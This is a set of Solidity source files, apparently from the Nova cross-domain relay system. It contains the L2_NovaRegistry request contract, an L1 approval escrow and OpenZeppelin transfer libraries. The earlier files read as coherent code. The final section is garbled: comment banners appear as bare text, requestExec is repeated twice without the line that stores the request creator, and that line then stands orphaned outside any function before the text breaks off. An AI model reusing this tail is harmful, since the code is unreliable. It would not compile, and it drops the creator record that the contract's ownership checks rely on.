/// @param inputTokens An array with a length of MAX_INPUT_TOKENS or less token/amount pairs that the relayer will
/// need to execute the request on L1. Input tokens are refunded to the relayer on L2 after a successful execution.
/// @return execHash The "execHash" (unique identifier) for this request.
function requestExec(
address strategy,
bytes calldata l1Calldata,
uint256 gasLimit,
uint256 gasPrice,
uint256 tip,
InputToken[] calldata inputTokens
) public payable requiresAuth returns (bytes32 execHash) {
// Do not allow more than MAX_INPUT_TOKENS input tokens as it could use too much gas.
require(inputTokens.length <= MAX_INPUT_TOKENS, "TOO_MANY_INPUTS");
// Ensure enough ETH was sent along with the call to cover gas and the tip.
require(msg.value == gasLimit.mul(gasPrice).add(tip), "BAD_ETH_VALUE");
// Increment the global nonce.
systemNonce += 1;
// Compute the execHash for this request.
execHash = NovaExecHashLib.compute({
nonce: systemNonce,
strategy: strategy,
l1Calldata: l1Calldata,
gasPrice: gasPrice,
gasLimit: gasLimit
});
// Store all critical request data.
getRequestCreator[execHash] = msg.sender;
getRequestStrategy[execHash] = strategy;
getRequestCalldata[execHash] = l1Calldata;
getRequestGasLimit[execHash] = gasLimit;
getRequestGasPrice[execHash] = gasPrice;
getRequestTip[execHash] = tip;
getRequestNonce[execHash] = systemNonce;
emit RequestExec(execHash, strategy);
// Transfer input tokens in that the request creator has approved.
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransferFrom(msg.sender, address(this), inputTokens[i].amount);
// We can't just put a calldata/memory array directly into storage so we have to go index by index.
requestInputTokens[execHash].push(inputTokens[i]);
}
}
/// @notice Bundles a call to requestExec and unlockTokens into a single transaction.
/// @notice See requestExec and unlockTokens for more information.
function requestExecWithTimeout(
address strategy,
bytes calldata l1Calldata,
uint256 gasLimit,
uint256 gasPrice,
uint256 tip,
InputToken[] calldata inputTokens,
uint256 autoUnlockDelaySeconds
) external payable returns (bytes32 execHash) {
// Create a request and get its execHash.
execHash = requestExec(strategy, l1Calldata, gasLimit, gasPrice, tip, inputTokens);
// Schedule an unlock set to complete autoUnlockDelay seconds from now.
unlockTokens(execHash, autoUnlockDelaySeconds);
}
/// @notice Claims input tokens earned from executing a request.
/// @notice Request creators must also call this function if their request
/// reverted (as input tokens are not sent to relayers if the request reverts).
/// @notice Anyone may call this function, but the tokens will be sent to the proper input token recipient
/// which is either the l2Recipient passed to execCompleted or the request creator if the request reverted.
/// @param execHash The unique identifier of the executed request to claim tokens for.
function claimInputTokens(bytes32 execHash) external requiresAuth {
// Get a pointer to the input token recipient data.
InputTokenRecipientData storage inputTokenRecipientData = getRequestInputTokenRecipientData[execHash];
// Ensure input tokens for this request are ready to be sent to a recipient.
require(inputTokenRecipientData.recipient != address(0), "NO_RECIPIENT");
// Ensure that the tokens have not already been claimed.
require(!inputTokenRecipientData.isClaimed, "ALREADY_CLAIMED");
// Mark the input tokens as claimed.
inputTokenRecipientData.isClaimed = true;
emit ClaimInputTokens(execHash);
// Loop over each input token to transfer it to the recipient.
InputToken[] memory inputTokens = requestInputTokens[execHash];
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransfer(inputTokenRecipientData.recipient, inputTokens[i].amount);
}
}
/// @notice Unlocks a request's tokens after a delay. Once the delay has passed,
/// anyone can call withdrawTokens on behalf of the creator to refund their tokens.
/// @notice unlockDelaySeconds must be greater than or equal to MIN_UNLOCK_DELAY_SECONDS.
/// @notice The caller must be the creator of the request associated with the execHash.
/// @param execHash The unique identifier of the request to unlock tokens for.
/// @param unlockDelaySeconds The delay (in seconds) until the creator can withdraw their tokens.
function unlockTokens(bytes32 execHash, uint256 unlockDelaySeconds) public requiresAuth {
// Ensure the request currently has tokens.
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
// Ensure an unlock is not already scheduled.
require(getRequestUnlockTimestamp[execHash] == 0, "UNLOCK_ALREADY_SCHEDULED");
// Ensure the caller is the creator of the request.
require(getRequestCreator[execHash] == msg.sender, "NOT_CREATOR");
// Ensure the delay is greater than the minimum.
require(unlockDelaySeconds >= MIN_UNLOCK_DELAY_SECONDS, "DELAY_TOO_SMALL");
// Set the unlock timestamp to block.timestamp + unlockDelaySeconds.
uint256 unlockTimestamp = block.timestamp.add(unlockDelaySeconds);
getRequestUnlockTimestamp[execHash] = unlockTimestamp;
emit UnlockTokens(execHash, unlockTimestamp);
}
/// @notice Reverses a request's completed token unlock, hence requiring the creator
/// to call unlockTokens again if they wish to unlock the request's tokens another time.
/// @notice The caller must be the creator of the request associated with the execHash.
/// @param execHash The unique identifier of the request to relock tokens for.
function relockTokens(bytes32 execHash) external requiresAuth {
// Ensure the request currently has tokens.
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
// Ensure that the request has had its tokens unlocked.
(bool tokensUnlocked, ) = areTokensUnlocked(execHash);
require(tokensUnlocked, "NOT_UNLOCKED");
// Ensure the caller is the creator of the request.
require(getRequestCreator[execHash] == msg.sender, "NOT_CREATOR");
// Reset the unlock timestamp to 0.
delete getRequestUnlockTimestamp[execHash];
emit RelockTokens(execHash);
}
/// @notice Withdraws tokens from a request that has its tokens unlocked.
/// @notice The creator of the request associated with the execHash must call unlockTokens and
/// wait the unlockDelaySeconds they specified before tokens may be withdrawn from their request.
/// @notice Anyone may call this function, but the tokens will still go the creator of the request associated with the execHash.
/// @param execHash The unique identifier of the request to withdraw tokens from.
function withdrawTokens(bytes32 execHash) external requiresAuth {
// Ensure that the tokens are unlocked.
(bool tokensUnlocked, ) = areTokensUnlocked(execHash);
require(tokensUnlocked, "NOT_UNLOCKED");
// Ensure that the tokens have not already been removed.
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
// Get the request creator.
address creator = getRequestCreator[execHash];
// Store that the request has had its input tokens withdrawn.
// isClaimed is set to true so the creator cannot call claimInputTokens to claim their tokens twice!
getRequestInputTokenRecipientData[execHash] = InputTokenRecipientData({recipient: creator, isClaimed: true});
emit WithdrawTokens(execHash);
// Transfer the ETH which would have been used for (gas + tip) back to the creator.
creator.safeTransferETH(getRequestGasPrice[execHash].mul(getRequestGasLimit[execHash]).add(getRequestTip[execHash]));
// Transfer input tokens back to the creator.
InputToken[] memory inputTokens = requestInputTokens[execHash];
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransfer(creator, inputTokens[i].amount);
}
}
/// @notice Resubmit a request with a higher gas price.
/// @notice This will "uncle" the execHash which means after MIN_UNLOCK_DELAY_SECONDS it will be disabled and the newExecHash will be enabled.
/// @notice The caller must be the creator of the request associated with the execHash.
/// @param execHash The unique identifier of the request to resubmit with a higher gas price.
/// @param gasPrice The updated gas price to use for the resubmitted request.
/// @return newExecHash The unique identifier for the resubmitted request.
function speedUpRequest(bytes32 execHash, uint256 gasPrice) external payable requiresAuth returns (bytes32 newExecHash) {
// Ensure the request currently has tokens.
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
// Ensure that the caller is the creator of the request.
require(getRequestCreator[execHash] == msg.sender, "NOT_CREATOR");
// Ensure the request has not already been sped up.
require(getRequestDeathTimestamp[execHash] == 0, "ALREADY_SPED_UP");
// Get the previous gas price.
uint256 previousGasPrice = getRequestGasPrice[execHash];
// Ensure that the new gas price is greater than the previous.
require(gasPrice > previousGasPrice, "GAS_PRICE_MUST_BE_HIGHER");
// Compute the timestamp when the request would become uncled.
uint256 switchTimestamp = MIN_UNLOCK_DELAY_SECONDS.add(block.timestamp);
// Ensure that if there is a token unlock scheduled it would be after the switch.
// Tokens cannot be withdrawn after the switch, which is why it's safe if they unlock after.
uint256 tokenUnlockTimestamp = getRequestUnlockTimestamp[execHash];
require(tokenUnlockTimestamp == 0 || tokenUnlockTimestamp > switchTimestamp, "UNLOCK_BEFORE_SWITCH");
// Get more data about the previous request.
address previousStrategy = getRequestStrategy[execHash];
bytes memory previousCalldata = getRequestCalldata[execHash];
uint256 previousGasLimit = getRequestGasLimit[execHash];
// Ensure enough ETH was sent along with the call to cover the increased gas price.
require(msg.value == gasPrice.sub(previousGasPrice).mul(previousGasLimit), "BAD_ETH_VALUE");
// Generate a new execHash for the resubmitted request.
systemNonce += 1;
newExecHash = NovaExecHashLib.compute({
nonce: systemNonce,
strategy: previousStrategy,
l1Calldata: previousCalldata,
gasLimit: previousGasLimit,
gasPrice: gasPrice
});
// Fill out data for the resubmitted request.
getRequestCreator[newExecHash] = msg.sender;
getRequestStrategy[newExecHash] = previousStrategy;
getRequestCalldata[newExecHash] = previousCalldata;
getRequestGasLimit[newExecHash] = previousGasLimit;
getRequestGasPrice[newExecHash] = gasPrice;
getRequestTip[newExecHash] = getRequestTip[execHash];
getRequestNonce[execHash] = systemNonce;
// Map the resubmitted request to its uncle.
getRequestUncle[newExecHash] = execHash;
getResubmittedRequest[execHash] = newExecHash;
// Set the uncled request to die in MIN_UNLOCK_DELAY_SECONDS.
getRequestDeathTimestamp[execHash] = switchTimestamp;
emit SpeedUpRequest(execHash, newExecHash, systemNonce, switchTimestamp);
}
/*///////////////////////////////////////////////////////////////
CROSS DOMAIN MESSENGER ONLY FUNCTION
//////////////////////////////////////////////////////////////*/
/// @dev Assigns and partially rewards to the relayer of a request.
/// @dev Only the connected L1_NovaExecutionManager can call via the cross domain messenger.
/// @param execHash The unique identifier of the request that was executed.
/// @param rewardRecipient The address the relayer specified to be the recipient of rewards on L2.
/// @param reverted If the strategy reverted during execution.
/// @param gasUsed The amount of gas used by the execution transaction on L1.
function execCompleted(
bytes32 execHash,
address rewardRecipient,
bool reverted,
uint256 gasUsed
) external onlyFromCrossDomainAccount(L1_NovaExecutionManagerAddress) {
// Ensure the request still has tokens.
(bool requestHasTokens, ) = hasTokens(execHash);
require(requestHasTokens, "REQUEST_HAS_NO_TOKENS");
// We cannot allow providing address(0) for rewardRecipient, as we
// use address(0) to indicate a request has not its tokens removed.
require(rewardRecipient != address(0), "INVALID_RECIPIENT");
// Get relevant request data.
uint256 tip = getRequestTip[execHash];
uint256 gasLimit = getRequestGasLimit[execHash];
uint256 gasPrice = getRequestGasPrice[execHash];
address requestCreator = getRequestCreator[execHash];
bytes32 resubmittedRequest = getResubmittedRequest[execHash];
// The amount of ETH to pay for the gas consumed, capped at the gas limit.
uint256 gasPayment = gasPrice.mul(gasUsed > gasLimit ? gasLimit : gasUsed);
// Give the proper input token recipient the ability to claim the tokens.
// isClaimed is implicitly kept as false, so the recipient can claim the tokens with claimInputTokens.
getRequestInputTokenRecipientData[execHash].recipient = reverted ? requestCreator : rewardRecipient;
emit ExecCompleted(execHash, rewardRecipient, reverted, gasUsed);
// Pay the reward recipient for gas consumed and the tip if execution did not revert.
rewardRecipient.safeTransferETH(gasPayment.add(reverted ? 0 : tip));
// Refund any unused gas, the tip if execution reverted, and extra ETH from the resubmitted request if necessary.
requestCreator.safeTransferETH(
gasLimit.mul(gasPrice).sub(gasPayment).add(reverted ? tip : 0).add(
// Refund the ETH attached to the request's resubmitted copy if necessary.
// The hasTokens call above ensures that this request isn't a dead uncle.
resubmittedRequest != bytes32(0) ? getRequestGasPrice[resubmittedRequest].sub(gasPrice).mul(gasLimit) : 0
)
);
}
/*///////////////////////////////////////////////////////////////
VIEW FUNCTIONS
//////////////////////////////////////////////////////////////*/
/// @notice Checks if a request exists and hasn't been withdrawn, uncled, or executed.
/// @notice A resubmitted request isn't considered to exist until its uncle dies.
/// @param execHash The unique identifier of the request to check.
/// @return requestHasTokens A boolean indicating if the request exists and has all of its tokens.
/// @return changeTimestamp A timestamp indicating when the request may have its tokens removed or added.
/// Will be 0 if there is no removal/addition expected.
/// Will also be 0 if the request has had its tokens withdrawn or was executed.
/// Will be a timestamp if the request will have its tokens added soon (it's a resubmitted copy of an uncled request)
/// or if the request will have its tokens removed soon (it's an uncled request scheduled to die soon).
function hasTokens(bytes32 execHash) public view returns (bool requestHasTokens, uint256 changeTimestamp) {
if (getRequestInputTokenRecipientData[execHash].recipient != address(0)) {
// The request has been executed or had its tokens withdrawn,
// so we know its tokens are removed and won't be added back.
return (false, 0);
}
uint256 deathTimestamp = getRequestDeathTimestamp[execHash];
if (deathTimestamp != 0) {
if (block.timestamp >= deathTimestamp) {
// This request is an uncle which has died, meaning its
// tokens have been removed and sent to a resubmitted request.
return (false, 0);
} else {
// This request is an uncle which has not died yet, so we know
// it has tokens that will be removed on its deathTimestamp.
return (true, deathTimestamp);
}
}
bytes32 uncleExecHash = getRequestUncle[execHash];
if (uncleExecHash == bytes32(0)) {
if (getRequestCreator[execHash] == address(0)) {
// The request passed all the previous removal checks but
// doesn't actually exist, so we know it does not have tokens.
return (false, 0);
} else {
// This request does not have an uncle and has passed all
// the previous removal checks, so we know it has tokens.
return (true, 0);
}
}
if (getRequestInputTokenRecipientData[uncleExecHash].recipient != address(0)) {
// This request is a resubmitted version of its uncle
// which was executed before it could "die" and switch its
// tokens to this request, so we know it does not have tokens.
return (false, 0);
}
uint256 uncleDeathTimestamp = getRequestDeathTimestamp[uncleExecHash];
if (uncleDeathTimestamp > block.timestamp) {
// This request is a resubmitted version of its uncle
// which has not "died" yet, so we know it does not have its
// tokens yet, but will receive them after the uncleDeathTimestamp.
return (false, uncleDeathTimestamp);
}
// This is a resubmitted request with an uncle that died properly
// without being executed early, so we know it has its tokens.
return (true, 0);
}
/// @notice Checks if a request has had an unlock completed (unlockTokens was called and MIN_UNLOCK_DELAY_SECONDS has passed).
/// @param execHash The unique identifier of the request to check.
/// @return unlocked A boolean indicating if the request has had an unlock completed and hence a withdrawal can be triggered.
/// @return changeTimestamp A timestamp indicating when the request may have its unlock completed.
/// Will be 0 if there is no unlock scheduled or the request has already completed an unlock.
/// It will be a timestamp if an unlock has been scheduled but not completed.
function areTokensUnlocked(bytes32 execHash) public view returns (bool unlocked, uint256 changeTimestamp) {
uint256 tokenUnlockTimestamp = getRequestUnlockTimestamp[execHash];
if (tokenUnlockTimestamp == 0) {
// There is no unlock scheduled.
unlocked = false;
changeTimestamp = 0;
} else {
// There has been an unlock scheduled/completed.
unlocked = block.timestamp >= tokenUnlockTimestamp;
changeTimestamp = unlocked ? 0 : tokenUnlockTimestamp;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.6;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @notice Escrow contract for relayers to approve input tokens to.
/// @dev Used by the L1_NovaExecutionManager to safely transfer tokens from relayers to strategies.
contract L1_NovaApprovalEscrow {
/// @notice The address who is authorized to transfer tokens from the approval escrow.
/// @dev Initializing it as msg.sender here is equivalent to setting it in the constructor.
address public immutable ESCROW_ADMIN = msg.sender;
/// @notice Transfers a token approved to the escrow.
/// @notice Only the escrow admin can call this function.
/// @param token The token to transfer.
/// @param amount The amount of the token to transfer.
/// @param sender The user who approved the token to the escrow.
/// @param recipient The address to transfer the approved tokens to.
/// @return A bool indicating if the transfer succeeded or not.
function transferApprovedToken(
address token,
uint256 amount,
address sender,
address recipient
) external returns (bool) {
// Ensure the caller is the escrow admin.
require(ESCROW_ADMIN == msg.sender, "UNAUTHORIZED");
// Transfer tokens from the sender to the recipient.
(bool success, bytes memory returnData) = address(token).call(
abi.encodeWithSelector(
// The token to transfer:
IERC20(token).transferFrom.selector,
// The address who approved tokens to the escrow:
sender,
// The address who should receive the tokens:
recipient,
// The amount of tokens to transfer to the recipient:
amount
)
);
if (!success) {
// If it reverted, return false
// to indicate the transfer failed.
return false;
}
if (returnData.length > 0) {
// An abi-encoded bool takes up 32 bytes.
if (returnData.length == 32) {
// Return false to indicate failure if
// the return data was not a positive bool.
return abi.decode(returnData, (bool));
} else {
// It returned some data that was not a bool,
// return false to indicate the transfer failed.
return false;
}
}
// If there was no failure,
// return true to indicate success.
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
pragma experimental ABIEncoderV2;
/**
* @title iOVM_CrossDomainMessenger
*/
interface iOVM_CrossDomainMessenger {
/**********
* Events *
**********/
event SentMessage(bytes message);
event RelayedMessage(bytes32 msgHash);
event FailedRelayedMessage(bytes32 msgHash);
/*************
* Variables *
*************/
function xDomainMessageSender() external view returns (address);
/********************
* Public Functions *
********************/
/**
* Sends a cross domain message to the target messenger.
* @param _target Target contract address.
* @param _message Message to send to the target.
* @param _gasLimit Gas limit for the provided message.
*/
function sendMessage(
address _target,
bytes calldata _message,
uint32 _gasLimit
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.6;
/// @notice Library for safely transferring Ether.
/// @dev This is used as a replacement for payable.transfer().
library SafeTransferLib {
/// @dev Attempts to transfer ETH and reverts on failure.
/// @param to The address to receive the ETH.
/// @param value The amount of wei to send.
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, "ETH_TRANSFER_FAILED");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| @notice Hub for contracts/users on L2 to create and manage requests. @dev Receives messages from the L1_NovaExecutionManager via a cross domain messenger. | contract L2_NovaRegistry is Auth, CrossDomainEnabled {
using SafeTransferLib for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
CONSTANTS
uint256 public constant MAX_INPUT_TOKENS = 5;
uint256 public constant MIN_UNLOCK_DELAY_SECONDS = 300;
EXECUTION MANAGER ADDRESS STORAGE
address public L1_NovaExecutionManagerAddress;
pragma solidity 0.7.6;
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {Auth} from "@rari-capital/solmate/src/auth/Auth.sol";
import {NovaExecHashLib} from "./libraries/NovaExecHashLib.sol";
import {SafeTransferLib} from "./libraries/SafeTransferLib.sol";
import {CrossDomainEnabled, iOVM_CrossDomainMessenger} from "./external/CrossDomainEnabled.sol";
constructor(iOVM_CrossDomainMessenger _CROSS_DOMAIN_MESSENGER) CrossDomainEnabled(_CROSS_DOMAIN_MESSENGER) {}
function connectExecutionManager(address newExecutionManagerAddress) external requiresAuth {
L1_NovaExecutionManagerAddress = newExecutionManagerAddress;
emit ExecutionManagerConnected(newExecutionManagerAddress);
}
EVENTS
GLOBAL NONCE COUNTER STORAGE
PER REQUEST STORAGE
event ExecutionManagerConnected(address newExecutionManagerAddress);
event RequestExec(bytes32 indexed execHash, address indexed strategy);
event ExecCompleted(bytes32 indexed execHash, address indexed rewardRecipient, bool reverted, uint256 gasUsed);
event ClaimInputTokens(bytes32 indexed execHash);
event WithdrawTokens(bytes32 indexed execHash);
event UnlockTokens(bytes32 indexed execHash, uint256 unlockTimestamp);
event RelockTokens(bytes32 indexed execHash);
event SpeedUpRequest(bytes32 indexed execHash, bytes32 indexed newExecHash, uint256 newNonce, uint256 switchTimestamp);
uint256 public systemNonce;
mapping(bytes32 => address) public getRequestCreator;
mapping(bytes32 => address) public getRequestStrategy;
mapping(bytes32 => bytes) public getRequestCalldata;
mapping(bytes32 => uint256) public getRequestGasLimit;
mapping(bytes32 => uint256) public getRequestGasPrice;
mapping(bytes32 => uint256) public getRequestTip;
mapping(bytes32 => uint256) public getRequestNonce;
struct InputToken {
IERC20 l2Token;
uint256 amount;
}
mapping(bytes32 => InputToken[]) internal requestInputTokens;
function getRequestInputTokens(bytes32 execHash) external view returns (InputToken[] memory) {
return requestInputTokens[execHash];
}
INPUT TOKEN RECIPIENT STORAGE
struct InputTokenRecipientData {
address recipient;
bool isClaimed;
}
UNLOCK STORAGE
UNCLE STORAGE
STATEFUL FUNCTIONS
mapping(bytes32 => InputTokenRecipientData) public getRequestInputTokenRecipientData;
mapping(bytes32 => uint256) public getRequestUnlockTimestamp;
mapping(bytes32 => bytes32) public getRequestUncle;
mapping(bytes32 => bytes32) public getResubmittedRequest;
mapping(bytes32 => uint256) public getRequestDeathTimestamp;
function requestExec(
address strategy,
bytes calldata l1Calldata,
uint256 gasLimit,
uint256 gasPrice,
uint256 tip,
InputToken[] calldata inputTokens
) public payable requiresAuth returns (bytes32 execHash) {
require(inputTokens.length <= MAX_INPUT_TOKENS, "TOO_MANY_INPUTS");
require(msg.value == gasLimit.mul(gasPrice).add(tip), "BAD_ETH_VALUE");
systemNonce += 1;
execHash = NovaExecHashLib.compute({
nonce: systemNonce,
strategy: strategy,
l1Calldata: l1Calldata,
gasPrice: gasPrice,
gasLimit: gasLimit
});
getRequestStrategy[execHash] = strategy;
getRequestCalldata[execHash] = l1Calldata;
getRequestGasLimit[execHash] = gasLimit;
getRequestGasPrice[execHash] = gasPrice;
getRequestTip[execHash] = tip;
getRequestNonce[execHash] = systemNonce;
emit RequestExec(execHash, strategy);
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransferFrom(msg.sender, address(this), inputTokens[i].amount);
requestInputTokens[execHash].push(inputTokens[i]);
}
}
function requestExec(
address strategy,
bytes calldata l1Calldata,
uint256 gasLimit,
uint256 gasPrice,
uint256 tip,
InputToken[] calldata inputTokens
) public payable requiresAuth returns (bytes32 execHash) {
require(inputTokens.length <= MAX_INPUT_TOKENS, "TOO_MANY_INPUTS");
require(msg.value == gasLimit.mul(gasPrice).add(tip), "BAD_ETH_VALUE");
systemNonce += 1;
execHash = NovaExecHashLib.compute({
nonce: systemNonce,
strategy: strategy,
l1Calldata: l1Calldata,
gasPrice: gasPrice,
gasLimit: gasLimit
});
getRequestStrategy[execHash] = strategy;
getRequestCalldata[execHash] = l1Calldata;
getRequestGasLimit[execHash] = gasLimit;
getRequestGasPrice[execHash] = gasPrice;
getRequestTip[execHash] = tip;
getRequestNonce[execHash] = systemNonce;
emit RequestExec(execHash, strategy);
for (uint256 i = 0; i < inputTokens.length; i++) {
inputTokens[i].l2Token.safeTransferFrom(msg.sender, address(this), inputTokens[i].amount);
requestInputTokens[execHash].push(inputTokens[i]);
}
}
getRequestCreator[execHash] = msg.sender;
function requestExec(
address strategy,
